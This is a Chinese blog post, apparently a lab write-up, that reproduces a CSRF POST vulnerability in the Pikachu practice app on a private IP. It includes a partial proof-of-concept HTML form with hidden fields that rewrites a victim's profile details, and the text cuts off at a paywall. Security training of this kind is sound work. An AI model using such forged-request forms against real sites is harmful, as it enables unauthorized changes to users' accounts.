CSRF（post）漏洞复现

最新推荐文章于 2023-10-12 09:15:00 发布

也森

最新推荐文章于 2023-10-12 09:15:00 发布

阅读量1.3k

点赞数 1

分类专栏： web安全

本文链接：https://blog.csdn.net/weixin_43696861/article/details/106341575

版权

一、分析代码

发现验证refer，没有token验证，没有防止csrf的措施，可以进行CSRF攻击。

二、构建一个错误信息脚本

csrf_poc.php

放入http://192.168.56.129/pikachu-master/vul/csrf 中

<html>
    <body> 
        <form  name="px"  method="post"  action="http://192.168.56.129/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
            <input type="hidden" name="sex"  value="girl">
            <input type="hidden" name="phonenum" value="12345678922">
            <input type="hidden" name="add" value="nab77">
            <input type="hidden" name="email" value="lucy@pikachu.com">
             <input type="submit" name="submit" value="submit">

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

也森

关注关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
CSRF（post）漏洞复现

一、分析代码发现验证refer，没有token验证，没有防止csrf的措施二、构建一个错误信息脚本csrf_poc.php放入http://192.168.56.129/pikachu-master/vul/csrf 中<html> <body> <form name="px" method="post" action="http://192.168.56.129/pikachu-master/vul/csrf/csrf.
复制链接

扫一扫